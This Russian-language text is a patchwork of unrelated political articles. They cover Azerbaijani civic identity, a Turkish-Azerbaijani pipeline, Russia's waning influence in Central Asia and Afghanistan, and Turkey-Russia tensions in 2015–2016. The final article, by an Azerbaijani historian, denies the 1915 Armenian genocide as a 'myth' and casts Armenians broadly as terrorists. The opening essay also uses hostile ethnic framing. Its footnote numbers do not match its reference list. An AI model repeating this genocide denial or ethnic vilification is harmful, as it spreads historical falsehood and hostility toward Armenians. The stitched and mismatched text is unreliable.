Развал социалистической системы ознаменовался всплеском этнического сознания народов, населяющих бывшую империю. Агрессивный и воинственный армянский шовинизм не только оккупировал азербайджанские земли, но вместе со своими покровителями спровоцировав и поддержав этнический сепаратизм на юге и севере страны, пытался нарушить стабильность, разжечь противостояние между народами и создать опасность для государственности. Но манипулируемый извне лезгинский и талышский сепаратизм не завершился столкновением и ненавистью между титульным этносом и малочисленными народами.

Одним из важных обстоятельств сокрушения сепаратизма, как уже говорилось выше, является равноправное и уважительное отношение титульного этноса к народам, проживающим рядом, отсутствие политики агрессивной ассимиляции и притеснения. Поэтому психология меньшинства в подсознании этносов проживающих в этой географии не принимал явно выраженный и радикальный характер.

В настоящее время армянская пропаганда целенаправленно пытается разжечь недоверие и вражду среди малочисленных народов, проживающих в нашей стране к титульному народу и Азербайджанскому государству. Этим армянскому национализму необходимо дать оправдание нагорно-карабахскому сепаратизму и нарушить стабильность в Азербайджане.

Основной упор в этом делается на интерпретацию термина азербайджанец, который специально для создания ложного представления преподносится как название и самоназвание этноса. Затем эта находка дает им основание заявлять, что исторически отсутствует этнонимазербайджанец и тюрки-азери пришлые на эту территорию. Все малые народы есть настоящие хозяева этих земель, а тюрки-азери есть оккупанты.

С другой стороны, азербайджанство преподносится как политика ассимиляции, что по причине непросвещенности (находясь под влиянием внешних факторов) или специально, отдельными представителями интеллигенции малочисленных народов воспринимается отрицательно.

Идентичное отношение к азербайджанству у азербайджанских тюрков носителей этнического сознания. Оба оппонента воспринимая азербайджанство как этническое сознание считают, что оно ущемляет их этническое чувство и сливает в массе других народов.

Подобное положение требует разъяснения термина Азербайджанство, который является выражением национального государствообразующего сознания, а не этнического. То есть,Азербайджанство это надбазис, объединяющий под собой тюрков-азери, лезгин, талышей, курдов, русских, аварцев, евреев, татар и т.д. и т.п.

Тот, кто перерос из этнического самосознания или не задумывается над этим, на вопрос Кто ты? ответит Азербайджанец. Но если его попросить уточнить его этническую принадлежность, то он скажет, что он тюрок, талыш, лезгин и т.д. Опросы, проведенные Институтом археологии и этнографии Национальной Академии Наук Азербайджана, свидетельствуют, что в регионах компактного проживания национальных меньшинств национальное самосознание – азербайджанство, государственность, глобальный подход к государственным проблемам превалирует. Наряду с этим сохраняется этническое самосознание и этническая память у малочисленных народов. Что в свою очередь подтверждает, что на подсознательном уровне они не подвергнуты ассимиляции и доказывает фальшивость претензий предъявляемых Азербайджану якобы о насильственной ассимиляции этносов, проживающих в стране. Этничность исторически оставила свои следы в названиях топонимов, родов, в культурных памятниках тюрков-азери, добавлялась к именам исключительно в положительных интонациях.

Формирование у наших граждан не этнического, а национального сознания как ведущего фактора происходит естественным путем, опираясь на исторические, культурные, религиозные, общественные и политические причины. Вынесение азербайджанства на первую ступень, вытесняя этническое начало на второй, результат как уже говорилось выше доверительного отношения между титульным этносом и малочисленными народами. При этом, национальное и этническое сознание существуют параллельно, не создавая конфликты между собой, поэтому в регионах совместного проживания разных этносов не возникают этническое противостояние.

В отличие от 90-х гг. Азербайджанское государство добилось не только экономической и политической стабильности, также приобрело геополитическое влияние. Одним из основных базисных требований, обуславливающих этот уровень, является предоставление всем гражданам страны равных прав в независимости от их религиозной, этнической, расовой принадлежности. Это в свою очередь усиливает доверие малочисленных народов, тесно участвующих в государственном строительстве, к титульному этносу и своему государству.

Подтверждением того, что государственность занимает ведущее место в сознании народов Азербайджана, является участие в конце прошлого века граждан страны в независимости от вероисповедания и этничности в военных действиях против армянских оккупантов. Особо нужно отметить, что исторически соседствующие с нами народы защищали эти земли вместе с тюрками-азери. Доверительные взаимоотношения народов Азербайджана уходят в века, поэтому агрессивный национализм, возникший в конце 80-х – начало 90-х гг., не получил поддержку среди большинства народа.

Общенациональный лидер Гейдар Алиев после долгих дебатов со специалистами счел правильным указание в Конституции страны название государствообразующего народаАзербайджанцами, государственного языка Азербайджанским, чем был нацелен на достижение доверия и единства между народами, проживающими в Азербайджане.

Предоставление тюркизму приоритета и государственного статуса в первые годы независимости Азербайджана усилило этническое сознание среди титульной нации, адекватно отразившись на малочисленных народах.

В государственном строительстве Азербайджанство переносит этничность на второй план, создавая основу для формирования национального сознания. Базирование государственной идеологии не на этнической, а на национальной идеологии – азербайджанства правильный выбор с точки зрения демократических принципов и обеспечения защиты прав человека. В противном случае выражение государствообразующего народа тюрками дало бы толчок росту национализма как среди титульной нации, также среди малочисленных народов, что в свою очередь спровоцировало бы трения между ними.

Гейдар Алиев, вознося национальное азербайджанское сознание на уровень государственной политики, создал систему его превращения в общественный фактор. Азербайджанство также удачно смогла превратиться в гражданскую идеологию заменяющую советский патриотизм.

Термин Азербайджанство еще раз свидетельствует, что ресурсы и земля принадлежат всем народам, расселяющих эту географию, и все граждане должны вложить свои усилия в развитие и защиту Азербайджанского государства.

Идея Азербайджанство наряду с налаживанием национальных отношений ускоряет процесс межнациональной интеграции, адаптации граждан в новый общественно-социальный строй, формирование гражданского общества и создает условия для его безболезненного развития. Очень важно, что Азербайджанство наряду с тем, что является национальным сознанием, составляющим одну из основ государства, не находится в конфронтации с этническим сознанием и не стремиться его вытеснению.

Указ Президента Азербайджана от 16 сентября 1992 г. О защите прав и свобод, государственной поддержке развития языков и культуры национальных меньшинств, малочисленных народов и этнических групп, проживающих в Азербайджанской Республике, последующие годы был дополнен действенностью.

Данный Указ предусматривает проведение мероприятий для изучения языка и литературы в районах компактного проживания малочисленных народов, трансляция по государственному радиовещательному каналу передач на лезгинском, талышском и курдском языках, издание СМИ, литературы на их языках и создание культурных центров.

Итак, Азербайджанское государство в соответствии с законодательством Азербайджанской Республики и Международного права создало условия для обеспечения права малочисленных народов на организацию и действие своих культурных и религиозных обществ.

Этот указ демонстрировал, что государство является гарантом национальных и религиозных прав своих граждан и содействует сохранению и развитию их этнических культур.

 

Турция и Азербайджан будут стремиться к тому, чтобы закончить строительство газопровода TANAP раньше запланированного срока, заявил президент Турции Тайип Эрдоган во вторник.

«Самый важный проект, который мы ведем с Азербайджаном, — это TANAP. Мы работаем над тем, чтобы закончить его раньше запланированного срока», — сказал Эрдоган на совместной пресс-конференции с президентом Азербайджана Ильхамом Алиевым после пятого заседания турецко-азербайджанского Совета стратегического сотрудничества высокого уровня (ССВУ).

Он также назвал одним из приоритетных проектов строительство железной дороги Баку-Тбилиси-Карс.

«Ввод в декабре в эксплуатацию этой грандиозной магистрали, которая соединит Европу и Азию, станет нашим посланием всему миру», — подчеркнул он.

По словам турецкого президента, две страны намерены в течение ближайших пяти лет увеличить товарооборот с 13 до 20 миллиардов долларов, информирует РИА Новости.

Среди шести документов, подписанных в Турции 15 марта в рамках заседания Совета стратегического сотрудничества высокого уровня между Азербайджаном и Турцией, один привлекает особое внимание:

«Протокол между Правительством Азербайджанской Республики и Правительством Турецкой Республики об обмене военного/гражданского состава с социальной и культурной целью» подписали посол Азербайджана в Турции Фаиг Багиров и начальник по личному составу Генерального штаба Вооруженных сил Турции, корпусный генерал Илхан Талу.

Что означает «обмен военного/гражданского состава с социальной и культурной целью»? Как предполагает Институт военных исследований «Каспий» (Caspian Defense Studies Institute – CDSI), речь может идти о взаимном обмене военнослужащими высокого ранга для несения краткосрочной и долгосрочной службы в ВС Азербайджана и Турции.

Как сообщается, «наверное, этот документ назвали с осторожностью, чтобы не вызывать раздражение у ряда стран».

Складывается устойчивое впечатление, Россией управляют люди, в планах которых окончательная дефрагментация постсоветского пространства. За все постсоветское время наши «управленцы» по сути ничего конструктивного не сделали, чтобы хоть как-то усилить процессы интеграции на территории некогда единой страны.

Остался последний регион, где худо-бедно, по старой памяти, как-то еще держится российское влияние – Средняя Азия. Но такими темпами и там наша «элита» удержится ненадолго.

Три основных составляющих формирования влияния в среднеазиатском регионе на данный момент:

— экономическая – Россия теряет позиции, ее замещает Китай и наши западные «партнеры»;

— информационная – пресса, интернет, другое медийное пространство также фактически отданы на откуп Западу;

— идеологическая – в регион активно стараются проникнуть религиозные радикальные течения, причем определенная часть среднеазиатов «инфицируется» на территории России. Если бы среднеазиатские элиты не предпринимали жесткие меры, «девятый вал» ближневосточных террористов-радикалов мог бы уже накрыть регион.

Про исторически-цивилизационное влияние России уже речи не ведется. «Романтика» Российской империи, которая пестуются на данный момент управленческой верхушкой постсоветской России, в массе своей также чужда среднеазиатам, как и части еще оставшегося советского поколения жителей России.

На советские достижения у нашей «элиты» просто жуткая аллергия. Так как на фоне тех советских управленцев начала двадцатого века, наши политические пигмеи современности просто меркнут. Завершение газово-нефтяной вольницы в России показывает – значительных достижений у нынешних управляющих нет.

Что могут привнести на окружающее Россию постсоветское пространство нынешние постсоветские «политические хищники» Кремля? Ничего – хаос, деградацию и предательство. Свежие примеры Донбасс и Сирия. А подобный «товар» во все времена и у всех народов был не в чести.

Поэтому так легко уходят из под опеки Москвы бывшие республики Союза. Одно из самых главных и больших предательств началось в Беловежье, в начале 90-х прошлого столетия. Несколько политических отщепенцев, каким-то образом оказавшихся на гребне мутной политической волны, решили распорядиться плодами труда всего Союза, поколений людей положивших жизни на строительство, развитие и защиту советского государства. Все остальные шаги постсоветского руководства России разных лет, не более чем закономерная цепь и череда событий аналогичного толка. Предательство порождает предательство. В не зависимости от присутствия управляющих фигур на российском политическом небосклоне, после развала большой страны тенденции одни – разграбление, разворовывание, латентная дезинтеграция социума.

Собственно поэтому нашу элиту и не воспринимают на Западе всерьез и за равных. Кто будет считать равноправными людей продавших свое государство за средства обогащения, за личные привилегии. Даже если в ваших руках военный, полицейский, пропагандистский и прочие аппараты, но фактически вы «заточены» на личное обогащение и собственное привилегированное положение – вы бессильны. Вы не будете драться за страну, вы будете всеми правдами и неправдами сохранять свои «инвестиции» на Западе, ну это которые замки, особняки, виллы и т.п. Все эти «аппараты» в руках олигархически-криминальных управленческих кланов работают, как показывают последние десятилетия в России, на одно – обогащение малой части и обнищание основного людского массива страны. Деградацию всех государственных систем.

Золото никогда не было выше идеологии и проекта – это всего лишь инструмент, не базис не основа – обычный инструмент – «презренный металл». И тот, кто становится его рабом, по умолчанию слаб, не смотря ни на какие ухищрения и уловки, окружения себя и своего богатства разнообразными охранными «аппаратами».

При чем тут Средняя Азия спросите вы?

«Евросоюз приготовил для России пять принципов, на которых Брюссель готов строить взаимоотношения с Москвой. Эти принципы верховный представитель ЕС по иностранным делам Федерика Могерини обсудила на заседании Совета ЕС.

Второй принцип — усиление отношений ЕС с восточными партнерами и другими соседями, в частности в Центральной Азии, отметила Федерика Могерини».

У Москвы остался последний не павший бастион на постсоветском пространстве – среднеазиатский. И то, не благодаря мудрой политике «российской элиты», а скорее вопреки ее стараниям. И низкий поклон среднеазиатам – что они еще держатся.

Заявление Могерини говорит об одном – решающая схватка в новой Большой игре за Среднюю Азию вступает в свою последнюю фазу.

Если «европейским просветителям» удастся ее выиграть, обитателям Кремля только и останется что тоскливо озираться из-за зубцов кремлевской стены на новое постсоветское пространство. Окончательно утерянное пространство.

Конечно Москве можно попытаться в очередной раз разыграть «силовую карту» защиты региона. Но исключительно «на штыках» бесконечно усидеть нельзя. Вы должны предлагать главный ресурс – развитие региона в геополитическом проекте, фундамент которого, социальная справедливость. А не быть просто «на подхвате» у западных и китайских «партнеров». Социально-промышленная деградация и олигархически-криминальная архаика, получившие разгул на территории России за последние десятилетия, народ среднеазиатских государств не прельстит.

Кто выиграет решающую битву за Среднюю Азию? Время покажет…

Эрик ХАНЫМАМЕДОВ, Волгоград

Источник — ЦентрАзия

Игорь Панкратенко

Без малого 16 лет политика Москвы в отношении Афганистана представляла из себя набор хаотичных метаний из крайности в крайность, сопровождавшихся громкими декларациями, которые никак не реализовывались на практике.

Россия обвиняла США во вторжении – и сама проводила переговоры с Бишкеком и Ташкентом о размещении на их территории американских военных баз. В Москве возмущались присутствием НАТО – и тут же пытались с ним договориться о создании на российской транзитного пункта для переброски вооружений и военного имущества НАТО в Афганистан. Кремль много говорил о том, что афганский вопрос должен решаться через диалог региональных игроков – и не предпринимал ничего конкретного для организации сотрудничества в афганском вопросе с Ираном или тем же Китаем.

За этой имитацией бурной деятельности и российское руководство, и российская дипломатия пытались скрыть тот факт, что никакого афганского проекта у Москвы попросту не существует. Это – во-первых. А, во-вторых, не существует ни особого интереса к его разработке, ни возможностей для его реализации.

С экономической точки зрения Афганистан российской элите совершенно не интересен. В связи с настигшим Россию экономическим кризисом, и без того небольшой товарооборот между двумя странами попросту обвалился. В первом квартале 2015 года объем общего товарооборота между Россией и Афганистаном составил $47,3 млн долларов США, что на 81,1% меньше, чем в первом квартале 2014 г., когда общий годовой товарооборот составил $250 млн долларов. Да, действительно, в 2014 году Россия занимала второе после Пакистана место в списке импортеров афганской продукции. Но дело в том, что 85% этого импорта составлял… изюм, а остальное – орехи и сухофрукты.

Конечно, часть российских экспертов выдвигали идеи совместных с Афганистаном масштабных экономических проектов. Говорили и о совместном использовании месторождений полезных ископаемых, и о сотрудничестве в сфере энергетики, и даже о транспортном коридоре через Афганистан из России до Индии. Но все эти идеи, в силу специфики афганской реальности, выглядят, скорее фантастикой, чем реальным бизнес-проектом.

Но Афганистан и ситуация в нем оказывают слишком большое влияние на регион. По большому счету – это точка, в которой сталкиваются интересы влиятельных и серьезных игроков – США и Ирана, Китая и Индии, Пакистана и постсоветских государств Средней Азии. Понимая это Москва изо всех сил стремилась встроиться в процесс афганского урегулирования. «Не получается с экономикой – зайдем из сферы политики», — рассуждают в Кремле. «Подтверждаем готовность продолжать сотрудничество с Афганистаном в деле борьбы с терроризмом и наркоугрозой как на двусторонней основе, так и во взаимодействии с зарубежными партнерами и международными организациями. Будем и далее оказывать помощь Кабулу в становлении и оснащении боеспособных национальных сил безопасности, в подготовке кадров для афганских силовых структур, в том числе нa базе российских специализированных вузов», — заявили в Москве, комментируя состоявшуюся недавно передачу российской стороной на безвозмездной основе крупной партии стрелкового оружия и патронов к нему для нужд МВД ИРА.

Этот и подобные ему демонстративные шаги не имеют за собой серьезной основы – реальной готовности, а главное – реальных возможностей Москвы влиять на ситуацию в Афганистане. В экономической сфере ей предложить Кабулу нечего, поскольку из-за кризиса инвестиционные возможности России уступают аналогичным возможностям Китая. В политической сфере – у Москвы в регионе лишь амбиции и требования признания ее «особой роли», без учета интересов Ирана, Пакистана, Индии и того же Китая.

Собственно, кроме амбиций в афганском вопросе Кремль ничего предложит не может. Но амбиции эти столь велики, что способны поставить в тупик даже те страны, которые о ситуации в Афганистане осведомлены гораздо лучше, чем Москва, а возможностей для влияния на проходящие в этой стране процессы имеют несравнимо больше.

Состоявшаяся на днях уже третья за последние несколько недель международная встреча «квартета», созданного представителями Афганистана, Пакистана, Китая и США в рамках содействия усилиям по примирению страны была воспринята в Москве крайне болезненно. Впрочем, российские власти вообще раздражает и деятельность этого «квартета», и сам факт его существования. Что, в принципе, неудивительно, ведь Россия оказалась на обочине процесса, и Кремль ни за что не признает, что произошло этого исключительно в результате его близорукой политики. В том числе – из-за нежелания выстраивать диалог по Афганистану с Ираном и Китаем.

Именно этот фактор – раздражение из-за неудовлетворенных амбиций Москвы – послужил основной причиной заявления, сделанного специальным представителем президента РФ по Афганистану и Пакистану Замиром Кабуловым. В котором он сообщил, что, оказывается «Россия прилагает усилия для привлечения движения «Талибан» к участию в мирных переговорах с афганским правительством». Более того, «мы (Россия – И.П.) побуждаем к этому талибов и надеемся, что процесс начнётся как можно скорее, что позволит избежать начала нового сезона боевых действий».

Связь с итоговым заявлением третьей встречи «квартета» — Афганистан, Пакистан, Китай и США – здесь совершенно очевидна. Его участники говорят о том, что планируют возобновить переговоры с Талибаном – и тут же официальный российский представитель заявляет, что Москва уже давно эту работу ведет.

Что совершенно не соответствует действительности. Нет, встречи российских представителей с эмиссарами руководства Талибана действительно были. Хорошо информированные источники утверждают, что только в 2015 году этих встреч на территории одного из европейских государств было минимум две. Но встречи эти носили характер взаимного зондажа, когда стороны просто информировали друг друга о своих позициях по ситуации в Афганистане, не более того. Участие в них с обеих сторон принимали люди, которые не имеют полномочий не только на самостоятельные решения, но и на то, чтобы сказать нечто, выходящее за рамки текстов, которые для них были подготовлены заранее. И когда господин Кабулов заявляет о неких «усилиях» и «побуждении талибов», то эти слова совершенно не стоит воспринимать как наличие серьезных переговоров.

Так же не стоит всерьез воспринимать и то, что говорилось им в ходе недавней встречи с Ашрафом Гани в Кабуле – о налаживании тесного сотрудничества между Россией и Афганистаном в области экономики и создании совместных предприятий. Москва утратила свои позиции в афганском вопросе. У нее нет реальных рычагов влияния на ситуацию. Основными партнерами Центральной Азии в сфере экономики, политики и безопасности становятся Китай и Иран, отчасти – США, Пакистан и Индия. И, похоже, это уже необратимо.

Материал опубликован на ИА FarsNews

МОСКВА-КАБУЛ: РОССИЙСКИЕ МЕЧТЫ И АФГАНСКАЯ ДЕЙСТВИТЕЛЬНОСТЬ

Война между Турцией и Россией — не пустое предположение, а серьезная вероятность
Россия и Турция на грани войны?

«Я сказал уважаемому Путину: „Возьмите нас в Шанхайскую пятерку, и мы попрощаемся с ЕС». Шанхайская пятерка лучше и гораздо сильнее». (24 июля 2012 года, 24 TV. Похожие заявления повторялись неоднократно несколько лет).

«Особенно я благодарен моему дорогому другу Путину». (23 сентября 2015 года, открытие мечети в Москве).

«Дорогой друг, я испытал глубокое горе, когда узнал о трагической катастрофе». (31 октября 2015 года, соболезнования в связи с уничтожением российского самолета на Синайском полуострове).

Автор этих слов, как вы догадались, — Эрдоган.

Все эти «уважаемые» и «дорогие» друзья канули в прошлое, дружба осталась далеко позади.

«Что значит далеко позади?- спросите вы. — С 24 ноября прошло только три с половиной месяца».

Да, но иногда «день длится дольше века», как говорил Айтматов.

24 ноября, невероятно длинный день, стал своего рода «вехой».

С Москвой мы пережили множество опасных моментов напряженности… Например, в 40-е или 90-е годы прошлого века…

Но руки никогда не тянулись к оружию…

24 ноября 2015 года «рука» потянулась к оружию…

И выстрелила…

(Почему? Как это могло быть? Какой была цель? Кто спровоцировал? Ответов на эти вопросы до сих пор нет.)

С того момента шло наращивание вооружений, сейчас взяться за оружие готовы тысячи рук.

«Дорогие друзья» Путин и Эрдоган готовятся к войне друг с другом.

Кто-то из вас под успокаивающим влиянием чрезмерного оптимизма и / или беспечности может посмеяться над этим моим тезисом: «Ну, побушуют, покричат еще немного, а скоро все пройдет и забудется…»

Не будем нарушать счастье таковых. Но для других читателей давайте подчеркнем серьезность ситуации.

Вдруг стать «заклятыми врагами»…

Я внимательно слежу за газетами, интернет-сайтами и телевидением двух стран.

Одно я могу сказать точно. Главный враг России теперь — Турция. Для Турции же таковым стала Россия.

Один проведенный в России опрос показал, что в печатных СМИ и интернете Турция стала «враждебной страной номер один», обойдя Украину и США. В Турции также объявили, что 64,7% населения считают, что «Россия представляет угрозу для Турции» (в 2014 году этот показатель был равен 28,2%).

Журналисты и политики двух стран словно начали войну друг с другом.

В последнее время президент Путин и премьер-министр Медведев меньше говорят о Турции, но критика остается такой же жесткой.

По сравнению с ними, президент Эрдоган делает заявления несколько чаще, иногда на уровне «пусть Россия не испытывает наше терпение»…

Но «самый говорливый» — это, несомненно, наш премьер-министр. Давутоглу, который даже в те периоды, когда мы считались друзьями с Россией, делал заявления вроде «Москву нужно изолировать», сейчас постоянно жалуется на Россию США, ЕС, Ирану, арабским странам, а временами даже обвиняет ее в «терроризме».

На более низких уровнях в каждой из двух стран, конечно, тоже немало «храбрецов», тон которых не позволяет сожалеть о прошлых русско-турецких войнах.

Например, изрядно постаревший представитель русского национализма Жириновский, подогревает интерес, прямо определяя такие цели, как «разбомбить Турцию» или «отнять Айя-Софию».

Одна из самых «веселых» новостей у нас была опубликована недавно под заголовком «Прикажи, и мы совершим вечерний намаз в России». Члены культурно-спортивного клуба верховой езды Rahvan в качестве реакции на шоу русских с ПЗРК (во время прохождения через Босфор российского корабля 4 декабря военнослужащий, находившийся на его борту, держал переносной зенитно-ракетный комплекс — прим. пер.) заявили: «Если глава государства прикажет, мы отправимся в путь и совершим вечерний намаз в России».

Думаю, русским стало очень страшно. Особенно, если им известно о талантах «главы государства» в области верховой езды…

Схватка двух государств возможна в Сирии

Главная причина ссоры Турции и России, сближавшихся с 2004 по 2011 годы в политической сфере и еще до прошлого года бывших важнейшими торговыми партнерами друг для друга, — сирийская политика (добавим к этому обеспокоенность России, страдающей от радикальных исламистов внутри страны, отношениями Турции с ИГИЛ и похожими организациями).

В последнее время в сирийской войне, которой скоро исполнится пять лет, многое изменилось.

Кремлю, который давно поддерживал правительство Асада дипломатическими усилиями, удалось шаг за шагом притянуть США к близкой ему линии.

А 30 сентября 2015 года Москва сама вступила в войну в Сирии с применением своих военно-воздушных сил. И к тому же, весьма активно (возможно, из-за боязни того, что может произойти, если остаться там надолго).

Обширная группа стран, которая изначально говорила, что «Асад обязательно должен уйти», постепенно поредела и стала насчитывать несколько государств. Впереди всех в этой группе сейчас стоит Турция.

Даже Саудовская Аравия и Катар «находятся на связи» с Россией.

Москва «не контактирует» только с Анкарой.

Пугающая ситуация.

Говоря «пугающая», я — в отличие от наездников Rahvan — имею в виду не только обеспокоенность позицией России в отношении вступления в бой с Турцией.

В то же время я пытаюсь выразить свой страх перед тем, что за три с половиной месяца руководство во главе с Эрдоганом и Давутоглу не приложило ни одного серьезного усилия, чтобы исправить отношения с Москвой. Кажется, в последнее время оно особенно сильно жаждет вмешаться в войну в Сирии.

Анкара обеспокоена перемирием

Сегодня в Сирии худо-бедно действует режим прекращения огня.

Это, конечно, не значит мир. Все полагают, что перемирие даст возможность «перевести дух» и подготовиться к следующей стадии войны.

Тем не менее решение о прекращении боевых действий многое значит. Режимы прекращения огня могут быть важными этапами на пути к миру.

Кажется, соглашение о перемирии все встретили с удовлетворением.

Россия (она оказала наибольшее влияние на этот процесс), США (хотя США делают заявления, открывающие возможность для разных прочтений, такие как «есть план Б на случай несоблюдения перемирия», они стали «одним из двух главных архитекторов» соглашения), официальный Дамаск, воюющие на его стороне Иран и «Хезболла», европейские страны и некоторые другие государства (включая саудитов, с которыми «наши» связывают большие надежды), некоторые сирийские оппозиционные силы…

Почти все, кроме ИГИЛ и «Джебхат ан-Нусра», на которых не распространяется объявленное перемирие, выглядят довольными…

К недовольным следует добавить Турцию, а точнее руководство Эрдоган — Давутоглу…

Хотя в Анкаре звучало что-то вроде «одобрительного» заявления в отношении соглашения о перемирии, оно сопровождалось большим количеством «но»…

На встрече с сельскими старостами президент Эрдоган подписался под очередным скандалом, попытавшись поставить на место весь мир и сказав: «Чем вам не угодила „Джебхат ан-Нусра»?».

Кроме того, он выдвинул такое требование: «Перемирие не должно распространяться на Партию „Демократический союз» и Отряды народной самообороны».

А премьер-министр заявил: «Мы не будем придерживаться режима прекращения огня в случае угрозы нашей безопасности».

Что это значит?

Анкара дает понять, что может действовать по-разному в зависимости от ситуации, даже если под перемирием поставит подпись весь мир.

Власти Партии справедливости и развития упорно не отказываются от своей ошибочной сирийской политики, которую они преследуют в течение последних пяти лет.

Более того, с ощущением «близится конец игры» они планируют непременно сделать что-нибудь и изменить балансы.

Между тем, взаимные артобстрелы на турецко-сирийской границе обладают высоким потенциалом опасности.

Неужели Турция готовится к операции «против атаковавшего ее ИГИЛ»?

Сторона, больше всех «ожидающая» военные шаги, которые могут быть предприняты на этом основании, — Россия!..

Вероятно, плохо прерывать тему на столь захватывающем месте, но не волнуйтесь, мы продолжим.

Оригинал публикации: Türkiye-Rusya savaşı boş bir iddia değil, ciddi bir ihtimal
Опубликовано 11/03/2016

Хакан Аксай (Hakan Aksay)

Источник — inosmi.ru

Игорь Панкратенко,
Специально для Iran.ru

 

Iran.ru

Хаджар  Вердиева,доктор  исторических   наук, старший  научный  сотрудник   Архива   Политических   Документов   Управления  Делами  Президенте  Азербайджанской  Республики

После завершения Первой мировой войны армянский терроризм вступил в качественно новую стадию, а именно армянские националисты направляли свою деятельность не только на образование «Великой Армении», но также стремились взять реванш в борьбе против Турции и тюркоязычных народностей. С этой целью партия «Дашнакцутюн» создала террористическое формирование «Возмездие», главной задачей которого являлось физическое уничтожение иттихадистов. Так, первой жертвой этих террористов стал Талят-паша, министр внутренних дел, а позднее военный министр при младотурках. 15 марта 1921 года он был убит в Берлине террористом Саамоном Техмирьяном, который остался безнаказанным. В феврале 1922 года в Риме был убит бывший визирь и министр иностранных дел принц Саид Халил-Паша. Это было делом рук террориста Аршавира Ширакяна, который так же не понес наказания  и позже  вместе с другим дашнаком Арамом Ерганяном убил в Берлине двух младотурков — Бахаддина Шакира и Камала Азми.³¹

 

Этот список можно пополнить именами сотен жертв армянских террористов. В свою очередь, террористы, оправдывая свои варварские действия, объясняли их как ответ за так называемый «геноцид армян»1915 года. Обосновывая свой тезис о том, что геноцида не было, следует отметить, что это  были соответствующие меры, принятые правительством Османской империи, в ответ на сепаратизм, действия  «пятой колонны» и армянских мятежников. Когда начались мятежи в Зейтуне, Битлисе, Муше, Ване, министр внутренних дел младотуркского правительства Талят- паша был вынужден объявить «по циркуляру приказ о немедленном закрытии центров армянских комитетов в Стамбуле и других больших городах, аресте их руководителей и захвате их документов.³²В результате, были арестованы 600 ярых четников.

Искажая эти факты,  армянские фальсификаторы почти 100 лет кричат об «армянском геноциде», а апологеты советской империи, как например Г.Боровик, в своем двухсерийном фильме «Эхо Сумгаита», искажая историю, утверждал, что якобы только в 1915 г. за один день османами были уничтожены 1,5 млн. армян. Однако официальные статистические данные указывают, что в начале XX века численность армян в Османской империи не достигала указанной отметки. Во-вторых, в годы Первой мировой войны ни одно из воюющих государств не имело оружие массового поражения, которое могло бы уничтожить 1,5 млн. человеческих жизней за 1 день.  В-третьих, после объявления армянскими мятежниками «Ванской Республики» военный министр с целью искоренения в государстве «пятой колонны» 26 мая 1915 года объявил о депортации армян из Восточной Анатолии вглубь страны.

Аналогичные решения в период военных действий принимали и  отдельные европейские страны в отношении тех своих подданных, к которым власти относились с недоверием. Так, французское правительство, накануне нападения Германии на Францию эвакуировало немецкое, а также германофильское население деревень Эльзаса на юго-запад Франции, хотя это население не поднимало мятежа и не предпринимало какие-либо сепаратистские действия в отношении правительства Франции. Российская империя указом от 20 апреля 1915 года депортировало из зоны прифронтовой полосы мусульман Кавказа. Бросив при этом сотни тысяч жизней на произвол судьбы, а именно в зону военных действий, без всяких объяснений, так не сумев обвинить мусульман Кавказа в сепаратизме. Итак, после указа от 26 мая 1915 г. армянское население подверглось депортации, но не физическому уничтожению, как это делали главари бандформирований армян в Восточной Анатолии и на Центральном Кавказе, а именно в 1918 г. в Баку, Шамахе, Губе, Зангезуре, Гейчае и в других регионах.

С другой стороны, террористические группировки армян создавались еще в последней четверти XIX века, также как в 1878 году «Черный Крест», в 1881 году «Защитники родины»³³и т.д., которые терроризировали мусульманское население Османской империи. Следовательно, история армянского терроризма насчитывает более века и их действия не могут быть оправданы никакими объяснениями, тем более мифом о «геноциде», который необходим для политической демагогии сепаратистов-националистов.

В современном мире террором занимаются несколько десятков армянских террористических отрядов и организаций. Географический ареал их действий по своему масштабу широк, методы устрашения и насилия направлены в основном против Турции, а также  таких развитых мировых стран, как, например, Германия, Швейцария, Израиль, которые с объективной позиции выступают по «армянскому вопросу». Среди армянских террористических организаций особое место занимает ASALA (Секретная армянская армия за освобождение Армении), созданная в 1975 г. Отдельные западные иссле-дователи³⁴   утверждают, что организация была создана при поддержке КГБ СССР по двум причинам.  Во-первых, стратегическая цель организации заключалась в  присоединении Восточной Анатолии к Армянской ССР; во-вторых, деятельность ASALA была направлена главным образом против члена НАТО и стратегического партнера США — Турции, расположенной на южных границах СССР.

В целях реализации своей бредовой идеи — образования на территории Восточной Анатолии армянского государства — террористические армянские организации тесно сотрудничают с ООП (Организация Освобождения Палестины), с курдской террористической организацией ППК (Курдская рабочая партия), также с «ХАМАС», «ХЕЗБОЛЛА», «Аль-Каида». Например, лидер ASALA Акоп Акопян был объявлен почетным моджахедом ООП.³⁵

Кроме ASALA, в последней четверти ХХ века активно проводили теракты такие террористические группировки, как «Армянская группа 28», «Новое армянское сопротивление», «Фронт освобождения Армении», группа «3 октября» и другие.³⁶

На основе вышеизложенного мы даем следующую констатацию:

— во-первых, «армянский вопрос» является идейным вдохновителем армянского терроризма;

— во-вторых, теракты, организованные армянскими террористическими группировками под жупелом «геноцида 1915 года»,  направлены главным образом против Турции и тех государств, которые выступают с объективной позиции в отношении необоснованных требований армянской стороны к шести вилайетам Восточной Анатолии. Следовательно, армянский терроризм — это политическое давление на прогрессивную мировую общественность, которая не принимает сепаратистские действия армянских экстремистов и выступает против фальсификаторов истории.

 

Хаджар Вердиева, доктор исторических наук, старший научный сотрудник Архива Политических Документов Управления Делами Президенте Азербайджанской Республики

Литература

1 Мусайев И. «Ермяни эеносиди», йохса тцрк-мцсялман сойгырымы. Биринъи китаб. Бакы, 2001, с.150.
2 Мусайев И. Указ. раб., с.122.
3 Малевил де Жорж. Армянская трагедия 1915 года. Баку, 1990, с.76.
4 Гурко-Кряжин В. Армянский вопрос — Большая Советская Энциклопедия (далее — БСЭ), т.III. Москва, 1926, с.435.
5Малевил де Жорж. Указ. раб., с.76.
6Малевил де Жорж. Указ. раб., с.77.
7Файгл Эрик. Правда о терроре. Баку, 2000, с.38; Вердиева Х.Ю. Переселенческая политика Российской империи в Северном Азербайджане. Баку, 1999, с.
8История Азербайджана по документам, с.152.
9 Маевский В.Ф. Армяно-татарская смута на Кавказе, как один из фазисов армянского вопро-са. Баку, 1993 (вып. Дан. Ориг. Тифлис, 19151), с.16; Файнл Эрик,с.40.
10ФайглЭрик, с.41.
11 Гюрун Кямуран. Армянское досье, с.192; Маевский В.Ф. Указ. раб., с.153.
12 Гюрун Кямуран. Указ. раб., с.200; Кариби. Красная книга, с.21.
13 Малевил де Жорж. Указ. раб., с.82, 83; Файнл Эрик. Указ. раб., с.41.
14ГюрунКямуран. Указ. раб., с.208.
